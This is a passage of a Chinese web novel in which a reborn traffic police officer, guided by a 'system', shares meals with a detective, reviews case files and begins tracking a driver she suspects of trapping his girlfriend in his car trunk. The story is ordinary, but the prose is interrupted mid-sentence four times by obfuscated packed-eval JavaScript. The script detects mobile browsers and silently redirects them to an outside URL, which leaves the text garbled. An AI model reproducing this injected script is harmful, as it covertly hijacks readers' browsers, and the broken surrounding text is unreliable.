“嗯，肚子没吃饱。平时吃的店打烊了，所以打算随便弄吃的。”周立言不好意思地点点头。他有很多东西都不喜欢吃，自己又煮得不好吃，所以日常都是速食为主。 “我也还没有吃饭呢，准备煎点肉排吃，你要不要一起……”话还没有说完，程昭就后悔了。她怎么说话不经大脑呢！大晚上的，邀请别人到家里吃饭，感觉太奇怪了。 程昭故作镇定地摆摆手，“呃，我没有其他别的意思，就是、就是朋友之间、邻里之间的互帮互助！我多煮一份不费事……就只是个提议，随口一提而已。” 周立言先是愣住了，然后感觉心里暖暖的。他可以感觉到，程昭对他的邀请十分纯粹，只是因为他们是朋友。 可能是因为今晚见到的虚情假意太多，突然遇到这样单纯真诚的善意，他不太想拒绝。 “真的可以吗？我有点想蹭饭。”周立言微笑问道。 程昭看着周立言，知道他没误解，于是松了一口气。她笑着说：“当然可以了。你想吃什么肉？我看到有好几种……” 两人在超市经过一番挑选，最后买了一些牛排、鸡排、青菜、面条，打算做两份肉排盖浇面。 到了程昭家，一开门，小橘本来想要迎接程昭，一看到旁边有个陌生人，连忙飞奔回到房间里。 程昭放下买的东西，开始处理食材。周立言也过来厨房，帮忙洗菜。 周立言好奇地问：“你家之前好像没有养猫？” “是的，最近几天才带它回家的。小橘它可机灵了……”程昭给周立言简单地讲了小橘和雪球的故事。 听完，周立言愣了一会儿，才缓缓道：“……好聪明的猫，好感人的友谊。”真令人羡慕。 “是吧，雪球的主人李茹也住你那个小区呢，不知道你认不认识。” 周立言回想了一下，不太确定，“好像没听说过。我也是这两年才搬过来的，平时没有怎么和邻居打交道。” “不认识也正常。”程昭也是随口一问。 材料准备好，程昭先用铁锅煎牛排、鸡排，然后用一个汤锅烧水煮面。等肉煎好了、面条熟了，装盘，然后继续用铁锅继续煮秘制酱汁、用汤锅灼青菜。没多久，两盘肉排盖浇面就煮好了。 熟而不老、鲜嫩多汁的肉排，爽口的青菜，劲道的面条，香浓的秘制酱汁…… 周立言本来还担心自己会忍不住挑食，浪费程昭的好意。没想到程警官居然煮饭这么好吃。 他不是没进过厨房的人，也见过别人下厨，但是这样行云流水般，快速完成，而且火候刚刚好的，好像只有饭店的厨师才做得到，毕竟熟能生巧。普通人很少做得这么快这么好的。 “程警官，你厨艺是去进修过的吗？比得上专业厨师了。” “哈哈，你过奖了。做得多就熟练了。”其实是上一世在餐厅打工的时候，偷师学的一些小技巧。不过这些就不能如实告诉别人了。 好吃的食物让人心情愉悦。周立言感觉，今晚回家赴宴，那些虚情假意的人和事，所带来的负面情绪，好像都被这份简单的晚餐驱散了。 程昭也隐约感觉到，周立言的emo气场消散了很多，看起来没有那么冰山气质了。 程昭思来想去，还是犹豫地开口，“今天看你好像有点不开心……是遇到什么麻烦吗？需要什么帮忙吗？” 周立言愣住了，原来自己的不开心有这么明显吗。他微微低头，过长的刘海半遮住眼中的情绪，然后摇摇头，“嗯，是有点烦心事，不过不是什么大麻烦，只是有点影响心情而已。吃完这份晚餐，我心情已经好多了，谢谢你。” “不客气，只是一份简单的面条，算不了什么。”周立言说得太郑重，害得她都有点不好意思了。 吃完饭，时间不早了，明天还要上班，周立言就打算告辞了。 临走的时候，他想起程昭很在意之前的几个案件，于是和她提了一下，“之前的车祸案、医院偷拍案，也有一些进展了。车祸案的嫌疑人好像和青木帮和解了，最近疑似逃到国外。偷拍案牵涉到一个以偷拍牟利的黑色产业链，比较麻烦，但是李医生罪证确凿，就等法院判刑了。等你过来我办公室，我可以给你看一些相关的资料。” 果然，龙傲天是有点运气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643726|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身上的。背刺了小头目，居然还可以和解，还出逃国外。程昭心里有点警惕起来，未来应该不会按着小说原来的方向走吧？她妹妹不会被龙傲天缠上吧？ 程昭心里想着龙傲天的事，脸上尽量保持微笑。她现在更想快点看到相关资料了，“好啊好啊，那我等你约时间，去你办公室了。如果你再放我鸽子，我就找天直接去你办公室，要资料来看。” 周立言笑了，“不敢不敢，放心，会给你看的。不用送我了，再见，晚安。” “再见，晚安。”程昭站在门口，目送周立言进入电梯。关上家门之后，程昭的笑容消失了。 程昭在心里，默念和小五说话，“这个龙傲天居然和帮派和解了？！这个青木帮怎么回事，居然不处理叛徒。” 小五机械音回答：“可能是他给帮派带去了什么好处吧，毕竟严格来说，被杀的小头目才是偷钱的叛徒，他只要找到合适的理由，还有利益，就可以蒙混过关了。” 程昭点头，“嗯，也是。看来以后要注意一下，龙傲天和他背后的青木帮，还有他以后投靠的地下组织。希望可以收集到相关的案件情报，把他们都暴露给警方。” 小五说：“那你要注意安全，不能暴露自己。被他们发现你故意打听他们的消息，就麻烦了。” “那必须的。留得青山在不怕没柴烧，我还没有活够呢。” ………… 第二天，程昭和之前的医生，预约了个时间复诊。 做完检查，医生看着程昭的报告，脸上有点惊讶，“程小姐，你的恢复力很很强啊。你醒过来的时候，我还预估你要休养两个月，才可以正常活动。” 恢复得快，其实是系统小五分了她一些能量修复身体，方便她早点出去上班收集素材。 程昭手指挠了一下脸颊，不好意思地蒙混过关，“可能是我年轻身体好吧。” “年轻身体好，也要注意休养，俗话说伤筋动骨一百天，”医生认真地叮嘱，“现在虽然可以正常活动，但是不能做剧烈运动，避免二次受伤。建议你先不要出外勤，尽量室内工作一段时间。拿去，这是你要的医生证明。” 程昭接过纸条，“好的，我会注意的，谢谢医生。” ………… 拿着医生证明和之前看病的单据，程昭回到了交通局南城区分部。 孙敏敏知道了程昭快要复工，还准备在办公室工作一段时间，开心得不得了。这下子，她们上班的时候就可以一起聊天了。 孙敏敏一边帮程昭做复工申请，一边热情地推荐内勤工作的好处，“其实办公室和办事处的工作都挺有趣的，而且有空调。不像外勤那样风吹日晒，对皮肤不好……不过这个好像对你无效，你这家伙居然晒不黑。” “没办法，好像是天生的。”程昭挠挠头，“我什么时候过来上班？庞队对我有什么安排吗？” “现在快下班了，估计流程明天才会走完。你应该后天可以来上班，流程通过之后工作APP会有提醒的。”孙敏敏登记完材料，提交了流程。 “至于庞队的安排，你可能要去问问他。我猜有可能是去资料室或者对外办事处，最近这两边比较缺人。” 16. 工作和口味 复工申请提交之后，程昭第二天收到通知，通知她明天回去上班。 程昭特地起了个大早，给小橘放好食物和水，就去了南城区交通分部的办公室。 说起来，这是程昭第一天上交警的班。她之前已经努力回想了几遍，原身工作的同事和工作的大概内容，生怕出现太多乌龙。 不过幸好，工作上，原身本身就是个新人，工作事务生疏一些也正常。程昭可以边做边学。 至于同事之间，原身和很多人都是泛泛之交。除了领导以外，关系比较熟的，就是孙敏敏和李涛。 孙敏敏是内勤科的人，李涛和她一样是事故科的，他们两个比程昭早一年入职。 原身的个性和程昭的差不多，即使有一些不同，大家也不会太在意，毕竟她之前经历了大难。思想行为有所变化也正常。 程昭到办公室的时候，庞达还没有回来，她就先回到自己位置，开电脑看工作邮箱。邮箱里早就塞满了过期的通知，程昭大概看了一些和本部门比较相关的邮件内容，了解最近的注意事项。 十多分钟后，庞达也回来了，“早啊，小程。” “庞队早安！”程昭笑着打招呼，“今天我第一天复工，有什么工作安排吗？” 庞达一边拿纸巾擦汗，一边打开电脑，“嗯，暂时先安排你在办公室值班工作，不出外勤。至于工作内容，我看看哈……” 庞达推了一下眼镜，看着电脑，“资料室有两个人生病请假了，比较缺人。办事处的违章申诉窗口也比较缺人。两边的负责人都曾经问过我，能不能借人过去帮忙几天。这两边都有帮过我们，不好拒绝……” “嗯……小程，你能不能一天去一边？资料室那边主要是整理资料，核对看有没有缺的，其他的不用管，他们自己做。申诉窗口就是对接群众，处理有疑问的违章处罚单，确定需要撤销处理的，交给他们的人来处理。大概帮忙半个月左右，最多一个月。” 听起来好像都是比较繁琐、不算困难的工作，程昭两边都没去过，感觉去帮忙几天，体验一下也不错。于是就点头答应了。 之后几天，程昭开始了两边打杂的日子。 虽然办公室不用风吹日晒，但是工作一点也不轻松简单，刚开始几天，程昭简直是忙得焦头烂额，上手了之后，才没那么头疼。 资料室的工作，主要是靠细心，有些资料漏了，有些资料内容填错了……错漏的，程昭只需要登记到表格里面，然后交给资料室的人去处理就可以了。 申诉窗口的工作，难题就五花八门了。对接群众有很多注意事项，程昭虽然是临时帮忙，但是也要严格遵守。来申诉的，有些是确有其事，错不在当事人。例如马路监控拍照，有飞起的塑料袋遮挡车牌，诸如此类的。 但是也有一些事胡搅蛮缠的，讲道理也不听的。这时候，程昭发现自己伤患的身份还挺好用的。只要她不经意地露出手臂的纱布，来的人一般就会软化态度，心平气和地沟通。当然也有变本加厉的人，这些时候，申诉窗口的人就会来帮忙，程昭就可以先退到后面，喘口气。 ………… 期间有一天，程昭接到了周立言的电话，“喂，周警官？” 周立言说：“是我，程警官今天方便过来重案组办公室吗？前几天比较忙，我很少在办公室，就没约你过来。” “嗯……我这周复工了，但是被派出去帮忙。今天在总局资料室，应该可以五点下班。可能要五点半之后，才能去到你那边。会不会太晚，耽误到你？” 周立言轻笑一声，“没关系，我不急着走。我今天开车了，看完一起回家？对了，我朋友寄了一些海鲜给我，我不会弄，程大厨要不要帮忙，然后一起吃。” 哇，海鲜大餐，程昭有点馋了，“要去哪里煮啊？不过，我不能太晚回家。我还要喂猫，小橘干饭可积极了，晚了回去不行。” “去你家煮吧，我那边厨房很少用，没有什么调味料。” “好啊，那就一言为定。我尽量早一些到。” “不急，你慢慢来。” 挂了电话，程昭继续认真工作。不过有些心思已经飘到了案件资料和海鲜大餐上面了。 熬到下班，程昭立刻飞奔去地铁站，搭地铁到了周警官所在的警察厅。 周立言接到程昭的信息，就到楼下接她上楼。办公室里空荡荡的，其他人都已经走了。 周立言拿出之前准备好的几个案件的相关资料，递给程昭，“有些资料比较敏感，不能对外透露。那些资料没在这些文件里面。” 程昭接过，“嗯嗯，没事，我理解的。” 程昭仔细地看了起来，周立言也不打扰程昭，回到自己电脑前面，继续工作。 程昭先看了最关心的车祸案。 警方查到嫌疑人韩高煊（龙傲天）的身份，确定了那天晚上他曾经出现在案发现场。案发之后，有监控拍到韩高煊开车离去的画面。驾驶的车辆是死者名下的，但是车子不知所踪。他曾经在C市和F市出现过，这两个城市都是沿海城市，后来就失去了踪迹……最近曾经在大海另一边的A国出现过。 青木帮一开始愿意配合警方找韩高煊，但是后来态度变成消极不配合。警方查到青木帮最近有一笔差点黄了的生意，在最后关头交易成功了，怀疑是和韩高煊有关系。不过，生意的内容不在这些资料里面，估计也是保密内容了…… 撞人的车子也没被找到，人也没被捉到，青木帮也改变态度立场。龙傲天的运气好像是有点邪门，可恶！ 先抛开车祸案，程昭继续浏览医院偷拍案和老张死亡案的资料。 医院偷拍案，李医生的秘密相册，存放在云盘APP。警方查了李医生的云盘账号，曾经在其他城市登录过，而李医生在那些时间点没有离开A市。然后又查到，他的银行账号有多笔来历不明的金额转入。 李医生在审讯中说，曾有人发现了他的行为，威逼利诱他出售偷拍的照片，他没抵住诱惑答应了……至于出售照片的黑色产业链，资料里面没有，估计也是保密内容。 老张死亡案，凶手的作案经过，和程昭推理的差不多。老张儿子确实是为了钱，谋杀他的父亲。 而且，老张当初被怀疑偷外卖，也是他在里面动了手脚。他听说A栋外卖的事之后，偷偷放了一些纸皮箱塑料瓶在外卖架子上，然后诱导老张去拿。老张被人误会之后，事情也是他偷偷到处传播的，就是为了让大家以为老张误食含有酒精的食物而亡，是意外事故。 看完资料，小五告诉程昭：“这几个案件都达到完成标准了，下次我就可以回传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643727|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素材给总部了。” 程昭默念：“好的……虽然龙傲天没有被捉住，但是今天总算是有一些收获。” 不知道为什么，案件延伸发现的案件，在系统里面没有显示触发。可能是她了解的信息太少了？ 程昭摇了摇头，然后伸了个懒腰。今天已经连续坐了好几个小时了，该好好放松好好生活了。这些事件没触发，也不是她的职责范围，该放下就放下。 看完资料，程昭把资料文件还给周立言，然后两人就一起回去了。 ………… 周立言先送了程昭到新风小区，然后再开车回自己家，拿海鲜过来。 程昭下车的时候，突然想起家里的配菜香料可能不够，打算去买一点，“对了，周警官，海鲜你喜欢做成什么口味的？蒜香？香辣？我去买一些香料配菜。” 周立言微微皱眉，好像想到了什么不愉快的事情，然后低声说：“蒜香或者香辣，我都可以。但是可以不放青椒、香菜吗？” 程昭感觉周立言说这话的语气，有种莫名的郑重。虽然不清楚怎么回事，但是她点了点头，“当然可以啊，不喜欢的我们不放进去就好了。青椒是指不辣的菜椒？香菜是指芫荽？你吃九层塔吗？” 周立言点头，“对的，那些我不想吃……九层塔是什么？” “九层塔是种香料……我看着买吧，到时候你闻一下或者尝一下，不喜欢的就不放。” 味道不好描述，口味这东西也是各个人喜好不同。程昭决定把想要用的香料都买一些，然后再让周立言选感兴趣的。不用的也不会浪费，她以后做菜还可以用。 周立言点头，嘴角微微上扬，“好。” 两人兵分两路，一个去取海鲜，一个去买香料配菜。最后到程昭家里汇合。 周立言带来的海鲜，满满一大箱，而且好几个种类。他们才两个人，不可能一下子吃这么多，程昭就让周立言先选想要吃的口味。 周立言在五花八门的香料里面，选了比较保守的蒜香、香辣、椒盐，然后又选了有点好奇的九层塔、紫苏。 程昭比了个ok，然后决定做蒜蓉扇贝、清蒸生蚝、油爆虾、烤鱼。 煮的时候尽量用保守的香料，然后再用香味独特的香料做了几种酱汁。 吃的时候可以沾一些想要试的风味酱汁，这样就可以照顾到各自的口味，还不容易浪费。 最后，几个菜都被消灭一空。 几种风味酱汁，周立言都试了一下，有的喜欢，有的无感，有的讨厌。因为可以自由控制分量，即使碰到不喜欢的味道，周立言的挑食老毛病也没有大爆发。这样的体验，他感觉很好。大厨贴心的安排，他也感受到了。 “啊，好撑好撑，海鲜太好吃，不小心吃多了。”程昭揉揉肚子。 周立言也悄悄地摸了一下自己的肚子，他好像也有点吃撑了。 “我来收拾洗碗吧。”周立言不会处理海鲜，刚刚基本上都是程昭动手的，他都没有出力。 “啊？可是……”程昭饱得有点犯困，迷迷糊糊没反应过来。 “没什么可是的，我刚刚都没帮忙。洗碗我还是会的，让我来吧，你休息一下。朋友之间，不用太客气。”周立言没给程昭拒绝的机会，直接收拾好桌子，拿了碗筷盘子去清洗了。 17. 散步谈心 既然周立言这么说，程昭就没拒绝他帮忙，就由着他去洗碗了。 吃得太饱了，小肚子都变要突出来了。再加上养伤这么久，原身锻炼出来的一些肌肉都没了，太可惜了。程昭暗自下定决心，等可以伤势完全痊愈，她要努力锻炼。 至少身手要灵敏一些，跑步要快一些，最好掌握一些防身技巧，不然她收集案件素材的时候，遇到危险，打不过、跑得慢就麻烦啦。 不过锻炼是日后的计划了，现在程昭在考虑，要不要到楼下散步走两圈。 周立言洗完碗，看到时间九点多了，就打算告辞了。剩下的小半箱海鲜，他也不想带回家了，打算留给程昭。 “啊？这怎么好意思呢？这些海鲜不便宜，还剩下很多呢，你还是带回家吧。我给你写个简单的说明，你按我写的时间，简单地蒸熟煮熟，蘸酱就可以吃了。”程昭连忙推辞，想给周立言写食谱。 周立言嘴角微扬，摆摆手，“不用了，我带回家也没时间煮，一有案件，可能就加班到很晚了……不如这样，食材放你这边，如果明天我们都有空，我就再来你家吃一顿；如果我没时间过来，下次你就补偿我一顿饭，剩下的海鲜你消灭掉？” ……好像这样挺公平的。周立言说的是实话，他之前就一直在忙。而且这么好的食材，浪费了就很可惜。 程昭犹豫了一下，最后答应了周立言的建议。大不了下次，她回请一顿贵一点的，或者做了什么好吃的，再分点给周警官。 周立言回家的时候，程昭也一起下楼了，打算送客然后去散步。 “嗯，我也有点吃撑了，今晚天气挺好的，我也一起走几步吧。”周立言也想走一走，等饭气过了，再回家健身运动。 于是，两人就一边在小区周围散步，一边有一句没一句地聊天。 今晚天气不错，晴朗的天空隐约看到一些星星，还有微风，散步很舒服。 程昭深呼吸几下，感觉自己班味都变淡了。 “最近工作忙吗？”不知道是黑夜的关系，还是什么原因，周立言也放松了很多，说话也变得随意了很多。 “嗯，其实不算很忙，就是工作内容比较繁琐，两边办公室跑来跑去。好像身体还处于休假状态，有点没调整好。”程昭吃饱了有点犯困，声音软绵绵的。 周立言看向程昭，昏暗的路灯给她打了一层朦胧的柔光，眼睛好像承载着星光。住院时剪短的头发已经过了肩膀，被微风吹乱了一些，乱蓬蓬的，很可爱。 “不急，慢慢就调整好了。你现在已经恢复得很快了。”周立言轻声说道。 程昭看向周立言，在昏暗的路灯映照下，周警官平时冷峻的脸变柔和了，看起来很年轻，显得更帅气了。程昭由不得晃了一下神，果然是灯下看美人越看越好看。 黑暗的环境，让人变得大胆，随意了很多。 程昭一时兴起，问：“周警官，你为什么会去做刑警的？感觉你完全可以靠颜值吃饭。” 周立言轻笑一声，“你说得太夸张了。再说了，靠颜值吃饭，也没有那么容易……当初之所以做刑警，主要是不想听别人的安排，偷偷改了高考志愿去警校。” 程昭惊呆了，“啊？家人不支持吗？” 周立言的眉眼间流露着淡淡无奈，“不是每个家庭，都很和谐美满的。” 周警官看起来好像很需要人安慰……程昭大着胆子，轻轻拍了拍周立言的后背，“没关系的，不开心的会过去的……” 看着程昭小心翼翼安慰他的样子，周立言低眉笑了笑，“嗯，怎么说呢……我父母因为一些原因，从小就不喜欢我。他们比较专制，不会在意我的想法。后来我长大了，就不想听他们安排了。” 程昭忽然联想到，买香料配菜之前，周立言问能不能不要青椒香菜的情景，“……讨厌青椒香菜，也是因为他们吗？” 周立言愣住了，然后点头，“是啊，程警官真敏锐，这个都被你发现了……我小时候挑食，不吃青椒香菜的菜，他们觉得是意志力软弱的表现。然后他们让人制定了一些食谱和计划表，强迫我去习惯我不喜欢的食物。后来我不得不按要求吃了，但是实际上我更讨厌那些味道了” 程昭听得直皱眉，“这算虐待儿童了吧？不喜欢就吃其他的啊，这么多的选择，没必要这样吧。” 周立言摇摇头，“也不算虐待吧。经济上，他们也没亏待我什么，只是不太喜欢我罢了……所以，当我可以做选择的时候，我就选择远离他们的控制。” 程昭安慰地拍拍周立言的肩膀，微微皱眉，一时之间想不到什么词句安慰他。 不过周立言也没有太需要安慰，毕竟这些事情也是陈年旧事了，回想起来，他会无奈，但是不会伤心了。 他摇摇头，嘴角带着一丝微笑，“都是陈年旧事了，不用安慰我。太夸张了。” 程昭也忍不住笑了，“对，现在我们想吃什么就吃什么，不要在意别人的想法。” “不，还是需要在意的，”周立言一脸严肃地说，“例如说，我想去你家蹭饭，就需要在意你的想法。” 程昭大笑出声，被周立言逗笑了，“没错没错，你说得对，大厨的心情，会影响饭菜的味道哦。” “哦？那大厨的心情，怎么才会好呢？” 周立言一副随便她狮子大开口的模样，程昭想起自己之前的“讨好周警官”计划，如果和周警官混熟了，就可以多一些接触案件，触发收集。 “那，可以多和我讲一些，你们查案的事吗？我对查案和感兴趣。”程昭大着胆子，趁机提出。 “可惜我不是刑事相关的专业，不然我都想去做刑警。” 周立言挑眉，“看来，你真的很喜欢查案啊。” 程昭回想了最近几个案件，自己参与其中，帮忙提供线索破案，的确给自己带来了很多快乐和成就感。这些成就感，是以前其他工作体会不到的。 她回望周立言的眼睛，笑着点头，“是的，我很喜欢。” 周立言轻轻拍了一下程昭的肩膀，“那你要努力了，程警官。以前好像有过先例，因为表现突出，破格被调岗。” “所以，我多帮忙破案，就有可能被调岗了？”程昭眼前一亮，对啊，她可以尝试申请调岗。 “是的。之前你在医院、还有张国厚案件里面，都表现得很突出，帮了我们很多忙。我在报告里面都写上了。虽然帮忙破案不是你的本职工作，但是应该会对评优有帮助。” 听到周立言对她的肯定，程昭十分开心，“嗯，我以后也会继续努力，帮忙破案的！周警官，下次查案也让我帮忙吧！我不会影响你们的。” 周立言忍不住拍拍她的头顶，“我们也不能随意透露案件信息的，这样影响不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643728|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好……如果是像医院、你小区的案件那样，你刚好也是知情人，这样和你说一些也没关系。” “……好吧。”看来没有捷径可以走了，希望系统可以争气一点，多触发收集事件。 时间不早了，两人约好了明天有空就提前通知对方，一起消灭剩下的海鲜。然后就各回各家了。 ………… 第二天，周立言发信息说他有案件，不来蹭饭了。 真想知道是什么案子啊，可惜周警官嘴巴太严了。程昭默默叹气。 那天晚上，程昭化悲愤为食欲，一个人消灭了小半箱海鲜，成功地吃撑了。 ………… 程昭继续两边上班的忙碌生活，快到一个月的时候，领导庞达终于把她调了回来。 “领导，你终于想起我啦！终于不用去那两边干活了～”终于解脱了，程昭回到交通四队的办公室，简直要喜极而泣了。 庞达抬头，笑着看向程昭，“两边领导都说，小程做事很仔细，处理问题很灵活，都在问你要不要正式调过去呢。” 程昭立刻疯狂摇头，“不了不了，短时间帮忙我还行，长时间我肯定受不了的。” “庞队，我现在伤已经好全了，可以出外勤了，你看什么时候安排我出外勤？”程昭两天前抽空去了医院复诊，所以早已准备好医生的复诊结果。她把检查报告，递给庞达查看。 “年轻人恢复力真好啊。”庞达推了一下鼻子上的眼镜，“我看看怎么排班，回头再告诉你。” ………… 庞队给程昭暂时安排，每周两天外勤，三天办公室值班。等她适应了，再调整。 程昭当然没有异议，欣然接受安排。 不用出外勤的时候，程昭就忙着帮忙整理资料，开会，写报告……有时候还被拉去帮忙做交通教育宣传。 出外勤的时候，就按计划安排，去做查车，检查违停违章，疏导交通，处理事故纠纷…… 一开始程昭也有点手忙脚乱，但是很快她就熟悉流程，掌握要点了。 ………… 这天早上，程昭被安排去巡逻。 上班高峰期的车辆很多，有的老城区因为早期道路规划问题，很容易出现堵车现象，也很容易出现事故纠纷。 程昭处理完一宗剐蹭事故，准备离开的时候，看到一辆车子一边尾灯凸了出来。 程昭连忙骑摩托车追了上去。司机看到交警示意，也慢慢停靠到路边。 “交警小姐，请问有什么事吗？”司机摇下车窗，笑着问。 “先生，请出示你的证件。” 司机把证件递了过来，程昭检查了一下，然后说：“你的车尾灯好像坏了。” “坏了？”司机闻言一愣，立刻下车查看。 右侧的尾灯从里面凸了出来，连着电线歪向一边。司机犹豫了一下，然后打开了车尾箱。车尾箱里面是空的，只有一些泥土灰尘。 “可能是之前装的东西太大了，顶了尾灯出来，这车太老了，毛病比较多。我迟一些就去换个尾灯。”司机笑着关上车尾箱。 程昭点头，然后司机匆匆忙忙地开车走了。 “程昭，那个司机好像有点问题，触发了一个新事件。”系统小五提醒道。 “什么？”程昭连忙打开事件收集器，里面多了一个新事件“车尾箱事件”。 18. 车尾灯事件 程昭看了一眼已经走远的汽车，最后还是决定先不去追车。她还不知道发生了什么事呢，现在去截停车子也没有用。 新事件“车尾箱事件”的事件概述很模糊：尾灯歪掉的车子，好像发生过什么事。 信息关联表里面，显示发光标记的内容： 司机姓名和车牌号、 车尾箱右侧内壁有两个模糊的鞋印、 右侧尾灯从内部向外凸起、 车尾箱有遗留的头发丝、泥沙、地垫的碎屑…… 程昭有点反应过来了，不由得大吃一惊，“刚刚那个车子的车尾箱，曾经困住了一个人？车尾灯是ta踹歪的，车灯和鞋印都在右侧。” 小五说：“这很有可能，可惜线索太少了。” 程昭摸着下巴，思考下一步要怎么做。仅凭一个歪掉的尾灯和鞋印，很难说明司机有什么问题。可惜她没拍照取证，不知道司机会不会很快就去维修店换车灯，如果做了清净，说不定证据都会被毁掉。 程昭一边胡思乱想各种可能，一边快速回到了交通四队。办公室里面很安静，庞达和两个同事正在工作。 程昭走到庞达办公桌前，表示自己有事情想要反馈。 庞达停下手上的工作，疑问地看向程昭，问：“小程，有什么事吗？” 程昭眉宇间带着纠结和凝重，听到庞达的询问，她立马点头说：“庞队，我今天遇到一个可疑的车子，我怀疑那个车子的后备箱，有人曾经被关在里面。” “嘶，这是有绑架案？你截停车子了吗？报给警局抓人了吗？”庞达站了起来，身体倾向程昭，着急地问。 其他两个同事，听到有大案，也纷纷停下了工作，看向程昭和庞达。 “是这样的，我今天遇到一辆车，右侧尾灯凸了出来，就截停了司机。司机打开后备箱检查的时候，我看到后备箱右侧车壁上有鞋印，后来联想到车尾灯，就怀疑是曾经有人躺在里面，踹歪了尾灯求救。我已经记下了司机的驾驶证和车牌信息。”程昭把记下了信息的纸条，双手递给庞达。 庞达面露难色，他看了看程昭，又看了看司机信息的纸条，为难地说：“小程啊，你的猜测是有可能的，但是……但是没有什么实际证据。我们就这样上报，警局那边也会很为难的。” 同事老王和程昭有点不对付，他总觉得是程昭挤掉了他远房侄子的工作名额。 他听到庞队质疑程昭的话，幸灾乐祸地在一边煽风点火：“歪掉的车尾灯，有鞋印的车尾箱，这些都很常见啊。怎么程警官看到就觉得是大案呢？这不是在搞事情嘛！” 办公室里另一个同事老李也点头说：“小程是经历的少，就少见多怪了。我们这行会遇到很多奇怪的事。” 老王继续煽风点火：“小程应该好好学习一下老员工，要脚踏实地，不要老是想怎么出风头……” 庞达叹了一口气，对程昭摇摇头，无奈地说：“小程，我只能帮你和警局那边提一下，看他们乐不乐意去查……如果当时你截停了车，通知其他人过去看看，其他人也觉得可疑……这样事情可能会好办一些。” “对不起，我当时没反应过来，我下次会注意的。”程昭也后悔当初没截停车辆，叫人过去。她现在口讲无凭，被质疑很正常。 “嗯，你先回去工作吧，有后续我再告诉你。”庞达一边说，一边坐回位置上，和程昭摆摆手。然后又皱眉看了老王一眼，老王才停下来，不继续嘲笑程昭。 程昭闷闷不乐地回到位置上，拿出手机，想和周立言说这件事。但是想起庞达承诺会和警局反馈，于是决定再等等。 ………… 第二天早上，庞达私下找了程昭，告诉她：“我昨天报给警局那边了，他们查了一下这个司机李林杰和这个车牌号，说他没有什么犯案记录，最近也没有什么纠纷。他的车子昨天去修车店了，还做了清洁。警局人力有限，就没继续查了。” 程昭失落地点点头，叹了口气。 庞达见她这样失落，笑着安慰她，说：“你也不用太自责，你这样做其实也没有什么不对。警局那边也说，保持警惕是对的。如果真有事情发生，你警惕一些，可能就改变了一些悲剧了……好了，回去工作吧。” “好的，谢谢庞队。”程昭感激地点点头，然后回到自己座位。 系统小五问：“宿主，你该不会要放弃追查吧？” 程昭不动声色地和小五交谈：“怎么会！既然触发了收集，说明里面确实是有问题的。无论如何，我都会想办法去查的。” 小五好奇地问：“那你打算怎么查？” “既然警局那边有查过这个司机，那他们手上应该还保留着那些资料文件吧。我去找周警官帮忙看看详细内容。” 心动不如行动，程昭立刻给周警官发了个信息，说了车尾灯事件的，然后拜托他帮忙看看司机的信息。 周立言没多久就回复了她信息，“我去帮你问问，晚一些再和你说。” “好的，谢谢～”程昭发完信息，叹了一口气。如果她是刑警，就没那么麻烦了。 ………… 午休的时候，周立言给程昭打电话。 “喂，周警官？” “是我，我去帮你看过了，但是这个李林杰好像没有什么可疑的地方。你想了解哪方面的资料？你说，我帮你看。” 周警官居然牺牲午休时间来帮她查，太好人了！ 程昭思考了一下，现在她可以确认的，就是李林杰用他的车尾箱装过人。那就先弄清楚，这个人是谁吧。 程昭问：“这个李林杰，他人际关系怎么样？有没有和谁有过纷争？” “嗯，根据相关调查，他未婚，有一个女朋友，和同事相处得不错，和家人住一起。” 女朋友？！程昭看到信息关联表，发光标记了李林杰的女朋友。 “调查的人有见到他女朋友吗？” “没有，据说她出国旅游了。” 刚好出国旅游了？也太凑巧了。难不成，被塞进后备箱的，就是李林杰的女朋友？ 系统显示的事件概述更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643729|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新了，确定了程昭的猜测。 既然被绑的人是他的女朋友，那么她会被藏在哪里呢？想要藏起一个大活人，应该要有一个没有其他人的地方。 程昭想了一下，然后问：“这个李林杰，名下有没有什么房产？或者有没有租房租仓库？” 